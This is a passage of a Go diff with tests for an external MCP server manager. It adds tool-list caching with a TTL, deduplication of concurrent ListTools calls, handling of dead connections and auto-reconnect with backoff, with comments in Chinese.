if c.GetStatus() != "disconnected" {
|
||||||
|
t.Fatalf("expected status disconnected, got %s", c.GetStatus())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHandleConnectionDead_MarksLazyClientDisconnected(t *testing.T) {
|
||||||
|
logger := zap.NewNop()
|
||||||
|
m := NewExternalMCPManager(logger)
|
||||||
|
|
||||||
|
name := "dead-mcp"
|
||||||
|
cfg := config.ExternalMCPServerConfig{
|
||||||
|
Type: "http",
|
||||||
|
URL: "http://example.com/mcp",
|
||||||
|
ExternalMCPEnable: true,
|
||||||
|
}
|
||||||
|
m.mu.Lock()
|
||||||
|
m.configs[name] = cfg
|
||||||
|
client := newLazySDKClient(cfg, logger)
|
||||||
|
client.inner = &sdkClient{status: "connected"}
|
||||||
|
client.status = "connected"
|
||||||
|
m.clients[name] = client
|
||||||
|
m.mu.Unlock()
|
||||||
|
|
||||||
|
deadErr := errors.New(`connection closed: calling "tools/list": client is closing: EOF`)
|
||||||
|
m.handleConnectionDead(name, client, deadErr)
|
||||||
|
|
||||||
|
if client.IsConnected() {
|
||||||
|
t.Fatal("expected disconnected after handleConnectionDead")
|
||||||
|
}
|
||||||
|
if m.GetError(name) == "" {
|
||||||
|
t.Fatal("expected error message to be recorded")
|
||||||
|
}
|
||||||
|
counts := m.GetToolCounts()
|
||||||
|
if counts[name] != 0 {
|
||||||
|
t.Fatalf("expected tool count 0 after disconnect, got %d", counts[name])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestReconnectBackoff(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
if d := (&ExternalMCPManager{}).reconnectBackoff(0); d != 0 {
|
||||||
|
t.Fatalf("attempt 0: got %v", d)
|
||||||
|
}
|
||||||
|
if d := (&ExternalMCPManager{}).reconnectBackoff(1); d != externalReconnectMinInterval {
|
||||||
|
t.Fatalf("attempt 1: got %v", d)
|
||||||
|
}
|
||||||
|
if d := (&ExternalMCPManager{}).reconnectBackoff(10); d != externalReconnectMaxBackoff {
|
||||||
|
t.Fatalf("attempt 10: got %v, want cap %v", d, externalReconnectMaxBackoff)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryReconnect_RateLimited(t *testing.T) {
|
||||||
|
logger := zap.NewNop()
|
||||||
|
m := NewExternalMCPManager(logger)
|
||||||
|
|
||||||
|
name := "rate-limited"
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
m.reconnectLastTry[name] = time.Now()
|
||||||
|
m.reconnectAttempts[name] = 2
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
|
||||||
|
m.tryReconnect(name)
|
||||||
|
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
attempts := m.reconnectAttempts[name]
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
if attempts != 2 {
|
||||||
|
t.Fatalf("rate limited reconnect should not increment attempts, got %d", attempts)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryReconnect_SkipsWhenDisabled(t *testing.T) {
|
||||||
|
logger := zap.NewNop()
|
||||||
|
m := NewExternalMCPManager(logger)
|
||||||
|
|
||||||
|
name := "disabled-mcp"
|
||||||
|
m.mu.Lock()
|
||||||
|
m.configs[name] = config.ExternalMCPServerConfig{
|
||||||
|
Type: "http",
|
||||||
|
URL: "http://example.com/mcp",
|
||||||
|
ExternalMCPEnable: false,
|
||||||
|
}
|
||||||
|
m.mu.Unlock()
|
||||||
|
|
||||||
|
m.tryReconnect(name)
|
||||||
|
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
attempts := m.reconnectAttempts[name]
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
if attempts != 0 {
|
||||||
|
t.Fatalf("disabled MCP should not increment reconnect attempts, got %d", attempts)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryReconnect_SkipsWhenConnecting(t *testing.T) {
|
||||||
|
logger := zap.NewNop()
|
||||||
|
m := NewExternalMCPManager(logger)
|
||||||
|
|
||||||
|
name := "connecting-mcp"
|
||||||
|
cfg := config.ExternalMCPServerConfig{
|
||||||
|
Type: "http",
|
||||||
|
URL: "http://example.com/mcp",
|
||||||
|
ExternalMCPEnable: true,
|
||||||
|
}
|
||||||
|
client := newLazySDKClient(cfg, logger)
|
||||||
|
client.setStatus("connecting")
|
||||||
|
|
||||||
|
m.mu.Lock()
|
||||||
|
m.configs[name] = cfg
|
||||||
|
m.clients[name] = client
|
||||||
|
m.mu.Unlock()
|
||||||
|
|
||||||
|
m.tryReconnect(name)
|
||||||
|
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
attempts := m.reconnectAttempts[name]
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
if attempts != 0 {
|
||||||
|
t.Fatalf("connecting MCP should not increment reconnect attempts, got %d", attempts)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestStartClientAutoReconnect_SkipsWhenDisabled(t *testing.T) {
|
||||||
|
logger := zap.NewNop()
|
||||||
|
m := NewExternalMCPManager(logger)
|
||||||
|
m.stopRefresh = make(chan struct{})
|
||||||
|
|
||||||
|
name := "stopped"
|
||||||
|
m.mu.Lock()
|
||||||
|
m.configs[name] = config.ExternalMCPServerConfig{
|
||||||
|
Type: "http",
|
||||||
|
URL: "http://example.com/mcp",
|
||||||
|
ExternalMCPEnable: false,
|
||||||
|
}
|
||||||
|
m.mu.Unlock()
|
||||||
|
|
||||||
|
if err := m.startClient(name, true); err != nil {
|
||||||
|
t.Fatalf("startClient: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
m.mu.RLock()
|
||||||
|
cfg := m.configs[name]
|
||||||
|
_, hasClient := m.clients[name]
|
||||||
|
m.mu.RUnlock()
|
||||||
|
if cfg.ExternalMCPEnable {
|
||||||
|
t.Fatal("auto reconnect should not enable stopped MCP")
|
||||||
|
}
|
||||||
|
if hasClient {
|
||||||
|
t.Fatal("auto reconnect should not create client when disabled")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestOnClientConnected_ClearsReconnectState(t *testing.T) {
|
||||||
|
m := &ExternalMCPManager{
|
||||||
|
reconnectAttempts: map[string]int{"x": 3},
|
||||||
|
reconnectLastTry: map[string]time.Time{"x": time.Now()},
|
||||||
|
reconnecting: map[string]bool{"x": true},
|
||||||
|
}
|
||||||
|
m.onClientConnected("x")
|
||||||
|
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
defer m.reconnectMu.Unlock()
|
||||||
|
if len(m.reconnectAttempts) != 0 || len(m.reconnectLastTry) != 0 || len(m.reconnecting) != 0 {
|
||||||
|
t.Fatal("expected reconnect state cleared")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -15,6 +15,26 @@ import (
|
|||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// externalToolListCacheTTL 已连接外部 MCP 的工具列表缓存有效期,避免每次 API 请求都打远程 ListTools。
|
||||||
|
externalToolListCacheTTL = 60 * time.Second
|
||||||
|
// externalToolCountRefreshInterval 后台刷新工具数量的间隔(仅刷新缓存过期或缺失的客户端)。
|
||||||
|
externalToolCountRefreshInterval = 60 * time.Second
|
||||||
|
)
|
||||||
|
|
||||||
|
// toolListCacheEntry 外部 MCP 工具列表缓存条目
|
||||||
|
type toolListCacheEntry struct {
|
||||||
|
tools []Tool
|
||||||
|
updatedAt time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
// listToolsInflight 合并同一 MCP 上并发的 ListTools 请求
|
||||||
|
type listToolsInflight struct {
|
||||||
|
done chan struct{}
|
||||||
|
tools []Tool
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
|
||||||
// ExternalMCPManager 外部MCP管理器
|
// ExternalMCPManager 外部MCP管理器
|
||||||
type ExternalMCPManager struct {
|
type ExternalMCPManager struct {
|
||||||
clients map[string]ExternalMCPClient
|
clients map[string]ExternalMCPClient
|
||||||
@@ -26,14 +46,20 @@ type ExternalMCPManager struct {
|
|||||||
errors map[string]string // 错误信息
|
errors map[string]string // 错误信息
|
||||||
toolCounts map[string]int // 工具数量缓存
|
toolCounts map[string]int // 工具数量缓存
|
||||||
toolCountsMu sync.RWMutex // 工具数量缓存的锁
|
toolCountsMu sync.RWMutex // 工具数量缓存的锁
|
||||||
toolCache map[string][]Tool // 工具列表缓存:MCP名称 -> 工具列表
|
toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
|
||||||
toolCacheMu sync.RWMutex // 工具列表缓存的锁
|
toolCacheMu sync.RWMutex // 工具列表缓存的锁
|
||||||
|
listToolsMu sync.Mutex
|
||||||
|
listToolsInflight map[string]*listToolsInflight
|
||||||
stopRefresh chan struct{} // 停止后台刷新的信号
|
stopRefresh chan struct{} // 停止后台刷新的信号
|
||||||
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
|
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
|
||||||
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
|
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
|
||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
runningCancels map[string]context.CancelFunc
|
runningCancels map[string]context.CancelFunc
|
||||||
abortUserNotes map[string]string
|
abortUserNotes map[string]string
|
||||||
|
reconnectMu sync.Mutex
|
||||||
|
reconnecting map[string]bool
|
||||||
|
reconnectLastTry map[string]time.Time
|
||||||
|
reconnectAttempts map[string]int
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewExternalMCPManager 创建外部MCP管理器
|
// NewExternalMCPManager 创建外部MCP管理器
|
||||||
@@ -51,11 +77,15 @@ func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage
|
|||||||
executions: make(map[string]*ToolExecution),
|
executions: make(map[string]*ToolExecution),
|
||||||
stats: make(map[string]*ToolStats),
|
stats: make(map[string]*ToolStats),
|
||||||
errors: make(map[string]string),
|
errors: make(map[string]string),
|
||||||
toolCounts: make(map[string]int),
|
toolCounts: make(map[string]int),
|
||||||
toolCache: make(map[string][]Tool),
|
toolCache: make(map[string]toolListCacheEntry),
|
||||||
stopRefresh: make(chan struct{}),
|
listToolsInflight: make(map[string]*listToolsInflight),
|
||||||
runningCancels: make(map[string]context.CancelFunc),
|
stopRefresh: make(chan struct{}),
|
||||||
abortUserNotes: make(map[string]string),
|
runningCancels: make(map[string]context.CancelFunc),
|
||||||
|
abortUserNotes: make(map[string]string),
|
||||||
|
reconnecting: make(map[string]bool),
|
||||||
|
reconnectLastTry: make(map[string]time.Time),
|
||||||
|
reconnectAttempts: make(map[string]int),
|
||||||
}
|
}
|
||||||
// 启动后台刷新工具数量的goroutine
|
// 启动后台刷新工具数量的goroutine
|
||||||
manager.startToolCountRefresh()
|
manager.startToolCountRefresh()
|
||||||
@@ -122,6 +152,7 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
delete(m.configs, name)
|
delete(m.configs, name)
|
||||||
|
m.clearReconnectState(name)
|
||||||
|
|
||||||
// 清理工具数量缓存
|
// 清理工具数量缓存
|
||||||
m.toolCountsMu.Lock()
|
m.toolCountsMu.Lock()
|
||||||
@@ -136,8 +167,13 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// StartClient 启动客户端
|
// StartClient 启动客户端(用户手动启动;连接失败不自动重试)
|
||||||
func (m *ExternalMCPManager) StartClient(name string) error {
|
func (m *ExternalMCPManager) StartClient(name string) error {
|
||||||
|
return m.startClient(name, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
// startClient 启动客户端。autoReconnect 为 true 时用于断连自愈:尊重停用状态,失败后按退避继续重试。
|
||||||
|
func (m *ExternalMCPManager) startClient(name string, autoReconnect bool) error {
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
serverCfg, exists := m.configs[name]
|
serverCfg, exists := m.configs[name]
|
||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
@@ -146,6 +182,10 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
|||||||
return fmt.Errorf("配置不存在: %s", name)
|
return fmt.Errorf("配置不存在: %s", name)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if autoReconnect && !m.isEnabled(serverCfg) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// 检查是否已经有连接的客户端
|
// 检查是否已经有连接的客户端
|
||||||
m.mu.RLock()
|
m.mu.RLock()
|
||||||
existingClient, hasClient := m.clients[name]
|
existingClient, hasClient := m.clients[name]
|
||||||
@@ -155,11 +195,12 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
|||||||
// 检查客户端是否已连接
|
// 检查客户端是否已连接
|
||||||
if existingClient.IsConnected() {
|
if existingClient.IsConnected() {
|
||||||
// 客户端已连接,直接返回成功(目标状态已达成)
|
// 客户端已连接,直接返回成功(目标状态已达成)
|
||||||
// 更新配置为启用(确保配置一致)
|
if !autoReconnect {
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
serverCfg.ExternalMCPEnable = true
|
serverCfg.ExternalMCPEnable = true
|
||||||
m.configs[name] = serverCfg
|
m.configs[name] = serverCfg
|
||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
// 如果有客户端但未连接,先关闭
|
// 如果有客户端但未连接,先关闭
|
||||||
@@ -169,6 +210,16 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
|||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if autoReconnect {
|
||||||
|
m.mu.RLock()
|
||||||
|
serverCfg, exists = m.configs[name]
|
||||||
|
enabled := exists && m.isEnabled(serverCfg)
|
||||||
|
m.mu.RUnlock()
|
||||||
|
if !enabled {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 更新配置为启用
|
// 更新配置为启用
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
serverCfg.ExternalMCPEnable = true
|
serverCfg.ExternalMCPEnable = true
|
||||||
@@ -192,10 +243,11 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
|||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
|
|
||||||
// 在后台异步进行实际连接
|
// 在后台异步进行实际连接
|
||||||
go func() {
|
go func(reconnect bool) {
|
||||||
if err := m.doConnect(name, serverCfg, client); err != nil {
|
if err := m.doConnect(name, serverCfg, client); err != nil {
|
||||||
m.logger.Error("连接外部MCP客户端失败",
|
m.logger.Error("连接外部MCP客户端失败",
|
||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
|
zap.Bool("auto_reconnect", reconnect),
|
||||||
zap.Error(err),
|
zap.Error(err),
|
||||||
)
|
)
|
||||||
// 连接失败,设置状态为error并保存错误信息
|
// 连接失败,设置状态为error并保存错误信息
|
||||||
@@ -205,22 +257,19 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
|||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
// 触发工具数量刷新(连接失败,工具数量应为0)
|
// 触发工具数量刷新(连接失败,工具数量应为0)
|
||||||
m.triggerToolCountRefresh()
|
m.triggerToolCountRefresh()
|
||||||
|
if reconnect {
|
||||||
|
m.scheduleReconnectAfterFailure(name)
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
// 连接成功,清除错误信息
|
// 连接成功,清除错误信息
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
delete(m.errors, name)
|
delete(m.errors, name)
|
||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
// 立即刷新工具数量和工具列表缓存
|
m.onClientConnected(name)
|
||||||
m.triggerToolCountRefresh()
|
// 异步拉取工具列表(singleflight 去重,结果同时写入 toolCache 与 toolCounts)
|
||||||
m.refreshToolCache(name, client)
|
go m.refreshToolCache(name, client)
|
||||||
// 2 秒后再刷新一次,覆盖 SSE/Streamable 等需稍等就绪的远端
|
|
||||||
go func() {
|
|
||||||
time.Sleep(2 * time.Second)
|
|
||||||
m.triggerToolCountRefresh()
|
|
||||||
m.refreshToolCache(name, client)
|
|
||||||
}()
|
|
||||||
}
|
}
|
||||||
}()
|
}(autoReconnect)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -249,10 +298,16 @@ func (m *ExternalMCPManager) StopClient(name string) error {
|
|||||||
m.toolCounts[name] = 0
|
m.toolCounts[name] = 0
|
||||||
m.toolCountsMu.Unlock()
|
m.toolCountsMu.Unlock()
|
||||||
|
|
||||||
|
m.toolCacheMu.Lock()
|
||||||
|
delete(m.toolCache, name)
|
||||||
|
m.toolCacheMu.Unlock()
|
||||||
|
|
||||||
// 更新配置为禁用
|
// 更新配置为禁用
|
||||||
serverCfg.ExternalMCPEnable = false
|
serverCfg.ExternalMCPEnable = false
|
||||||
m.configs[name] = serverCfg
|
m.configs[name] = serverCfg
|
||||||
|
|
||||||
|
m.clearReconnectState(name)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -335,16 +390,19 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
|
|||||||
return nil, fmt.Errorf("外部MCP连接失败: %s", name)
|
return nil, fmt.Errorf("外部MCP连接失败: %s", name)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 已连接:尝试获取最新工具列表
|
// 已连接:缓存优先,仅在缺失或过期时打远程 ListTools
|
||||||
if client.IsConnected() {
|
if client.IsConnected() {
|
||||||
tools, err := client.ListTools(ctx)
|
if tools, ok := m.getFreshCachedTools(name); ok {
|
||||||
|
return tools, nil
|
||||||
|
}
|
||||||
|
if tools, ok := m.getAnyCachedTools(name); ok {
|
||||||
|
m.triggerToolListRefresh(name, client)
|
||||||
|
return tools, nil
|
||||||
|
}
|
||||||
|
tools, err := m.listToolsDeduped(ctx, name, client)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// 获取失败,尝试使用缓存
|
|
||||||
return m.getCachedTools(name, "连接正常但获取失败", err)
|
return m.getCachedTools(name, "连接正常但获取失败", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取成功,更新缓存
|
|
||||||
m.updateToolCache(name, tools)
|
|
||||||
return tools, nil
|
return tools, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -361,37 +419,127 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
|
|||||||
return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
|
return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
|
||||||
}
|
}
|
||||||
|
|
||||||
// getCachedTools 获取缓存的工具列表
|
// getCachedTools 获取缓存的工具列表(含空列表缓存)
|
||||||
func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
|
func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
|
||||||
m.toolCacheMu.RLock()
|
if tools, ok := m.getAnyCachedTools(name); ok {
|
||||||
cachedTools, hasCache := m.toolCache[name]
|
|
||||||
m.toolCacheMu.RUnlock()
|
|
||||||
|
|
||||||
if hasCache && len(cachedTools) > 0 {
|
|
||||||
m.logger.Debug("使用缓存的工具列表",
|
m.logger.Debug("使用缓存的工具列表",
|
||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
zap.String("reason", reason),
|
zap.String("reason", reason),
|
||||||
zap.Int("count", len(cachedTools)),
|
zap.Int("count", len(tools)),
|
||||||
zap.Error(originalErr),
|
zap.Error(originalErr),
|
||||||
)
|
)
|
||||||
return cachedTools, nil
|
return tools, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 无缓存,返回错误
|
|
||||||
if originalErr != nil {
|
if originalErr != nil {
|
||||||
return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
|
return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
|
||||||
}
|
}
|
||||||
return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
|
return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
|
||||||
}
|
}
|
||||||
|
|
||||||
// updateToolCache 更新工具列表缓存
|
func (m *ExternalMCPManager) isToolCacheFresh(updatedAt time.Time) bool {
|
||||||
func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
|
return !updatedAt.IsZero() && time.Since(updatedAt) < externalToolListCacheTTL
|
||||||
|
}
|
||||||
|
|
||||||
|
func cloneTools(tools []Tool) []Tool {
|
||||||
|
if len(tools) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := make([]Tool, len(tools))
|
||||||
|
copy(out, tools)
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) getFreshCachedTools(name string) ([]Tool, bool) {
|
||||||
|
m.toolCacheMu.RLock()
|
||||||
|
entry, ok := m.toolCache[name]
|
||||||
|
m.toolCacheMu.RUnlock()
|
||||||
|
if !ok || !m.isToolCacheFresh(entry.updatedAt) {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
return cloneTools(entry.tools), true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) getAnyCachedTools(name string) ([]Tool, bool) {
|
||||||
|
m.toolCacheMu.RLock()
|
||||||
|
entry, ok := m.toolCache[name]
|
||||||
|
m.toolCacheMu.RUnlock()
|
||||||
|
if !ok {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
return cloneTools(entry.tools), true
|
||||||
|
}
|
||||||
|
|
||||||
|
// listToolsDeduped 对同一 MCP 合并并发 ListTools,并更新 toolCache / toolCounts。
|
||||||
|
func (m *ExternalMCPManager) listToolsDeduped(ctx context.Context, name string, client ExternalMCPClient) ([]Tool, error) {
|
||||||
|
m.listToolsMu.Lock()
|
||||||
|
if inflight, exists := m.listToolsInflight[name]; exists {
|
||||||
|
m.listToolsMu.Unlock()
|
||||||
|
select {
|
||||||
|
case <-inflight.done:
|
||||||
|
if inflight.err != nil {
|
||||||
|
return nil, inflight.err
|
||||||
|
}
|
||||||
|
return cloneTools(inflight.tools), nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
return nil, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
inflight := &listToolsInflight{done: make(chan struct{})}
|
||||||
|
m.listToolsInflight[name] = inflight
|
||||||
|
m.listToolsMu.Unlock()
|
||||||
|
|
||||||
|
inflight.tools, inflight.err = client.ListTools(ctx)
|
||||||
|
if inflight.err == nil {
|
||||||
|
m.updateToolCache(name, inflight.tools)
|
||||||
|
}
|
||||||
|
|
||||||
|
m.listToolsMu.Lock()
|
||||||
|
delete(m.listToolsInflight, name)
|
||||||
|
close(inflight.done)
|
||||||
|
m.listToolsMu.Unlock()
|
||||||
|
|
||||||
|
if inflight.err != nil {
|
||||||
|
m.handleConnectionDead(name, client, inflight.err)
|
||||||
|
return nil, inflight.err
|
||||||
|
}
|
||||||
|
return cloneTools(inflight.tools), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// InvalidateToolCache 清除指定外部 MCP 的工具列表缓存(手动刷新时使用)
|
||||||
|
func (m *ExternalMCPManager) InvalidateToolCache(name string) {
|
||||||
m.toolCacheMu.Lock()
|
m.toolCacheMu.Lock()
|
||||||
m.toolCache[name] = tools
|
delete(m.toolCache, name)
|
||||||
|
m.toolCacheMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// InvalidateAllToolCaches 清除所有外部 MCP 工具列表缓存
|
||||||
|
func (m *ExternalMCPManager) InvalidateAllToolCaches() {
|
||||||
|
m.toolCacheMu.Lock()
|
||||||
|
m.toolCache = make(map[string]toolListCacheEntry)
|
||||||
|
m.toolCacheMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) triggerToolListRefresh(name string, client ExternalMCPClient) {
|
||||||
|
go func() {
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
_, _ = m.listToolsDeduped(ctx, name, client)
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// updateToolCache 更新工具列表缓存与工具数量
|
||||||
|
func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
|
||||||
|
stored := cloneTools(tools)
|
||||||
|
m.toolCacheMu.Lock()
|
||||||
|
m.toolCache[name] = toolListCacheEntry{tools: stored, updatedAt: time.Now()}
|
||||||
m.toolCacheMu.Unlock()
|
m.toolCacheMu.Unlock()
|
||||||
|
|
||||||
// 如果返回空列表,记录警告
|
m.toolCountsMu.Lock()
|
||||||
if len(tools) == 0 {
|
m.toolCounts[name] = len(stored)
|
||||||
|
m.toolCountsMu.Unlock()
|
||||||
|
|
||||||
|
if len(stored) == 0 {
|
||||||
m.logger.Warn("外部MCP返回空工具列表",
|
m.logger.Warn("外部MCP返回空工具列表",
|
||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
zap.String("hint", "服务可能暂时不可用,工具列表为空"),
|
zap.String("hint", "服务可能暂时不可用,工具列表为空"),
|
||||||
@@ -399,7 +547,7 @@ func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
|
|||||||
} else {
|
} else {
|
||||||
m.logger.Debug("工具列表缓存已更新",
|
m.logger.Debug("工具列表缓存已更新",
|
||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
zap.Int("count", len(tools)),
|
zap.Int("count", len(stored)),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -467,6 +615,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
|
|||||||
|
|
||||||
// 调用工具
|
// 调用工具
|
||||||
result, err := client.CallTool(execCtx, actualToolName, args)
|
result, err := client.CallTool(execCtx, actualToolName, args)
|
||||||
|
if err != nil {
|
||||||
|
m.handleConnectionDead(mcpName, client, err)
|
||||||
|
}
|
||||||
cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
|
cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
|
||||||
|
|
||||||
// 更新执行记录
|
// 更新执行记录
|
||||||
@@ -854,28 +1005,27 @@ func (m *ExternalMCPManager) refreshToolCounts() {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 使用合理的超时时间(15秒),既能应对网络延迟,又不会过长阻塞
|
// 缓存仍新鲜时直接复用,避免与 GetAllTools 重复打远程
|
||||||
// 由于这是后台异步刷新,超时不会影响前端响应
|
if _, fresh := m.getFreshCachedTools(n); fresh {
|
||||||
|
m.toolCountsMu.RLock()
|
||||||
|
count := m.toolCounts[n]
|
||||||
|
m.toolCountsMu.RUnlock()
|
||||||
|
resultChan <- countResult{name: n, count: count}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||||
tools, err := c.ListTools(ctx)
|
tools, err := m.listToolsDeduped(ctx, n, c)
|
||||||
cancel()
|
cancel()
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
errStr := err.Error()
|
if !isConnectionDeadError(err) {
|
||||||
// SSE 连接 EOF:远端可能关闭了流或未按规范在流上推送响应,仅首次用 Warn 提示
|
|
||||||
if strings.Contains(errStr, "EOF") || strings.Contains(errStr, "client is closing") {
|
|
||||||
m.logger.Warn("获取外部MCP工具数量失败(SSE 流已关闭或服务端未在流上返回 tools/list 响应)",
|
|
||||||
zap.String("name", n),
|
|
||||||
zap.String("hint", "若为 SSE 连接,请确认服务端保持 GET 流打开并按 MCP 规范以 event: message 推送 JSON-RPC 响应"),
|
|
||||||
zap.Error(err),
|
|
||||||
)
|
|
||||||
} else {
|
|
||||||
m.logger.Warn("获取外部MCP工具数量失败,请检查连接或服务端 tools/list",
|
m.logger.Warn("获取外部MCP工具数量失败,请检查连接或服务端 tools/list",
|
||||||
zap.String("name", n),
|
zap.String("name", n),
|
||||||
zap.Error(err),
|
zap.Error(err),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
resultChan <- countResult{name: n, count: -1} // -1 表示使用旧值
|
resultChan <- countResult{name: n, count: -1}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -925,33 +1075,21 @@ func (m *ExternalMCPManager) refreshToolCache(name string, client ExternalMCPCli
|
|||||||
if !client.IsConnected() {
|
if !client.IsConnected() {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if client.GetStatus() == "error" {
|
||||||
// 检查状态,如果是error状态,不更新缓存
|
|
||||||
status := client.GetStatus()
|
|
||||||
if status == "error" {
|
|
||||||
m.logger.Debug("跳过刷新工具列表缓存(连接失败)",
|
m.logger.Debug("跳过刷新工具列表缓存(连接失败)",
|
||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
zap.String("status", status),
|
|
||||||
)
|
)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 使用较短的超时时间(5秒)
|
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
if _, err := m.listToolsDeduped(ctx, name, client); err != nil {
|
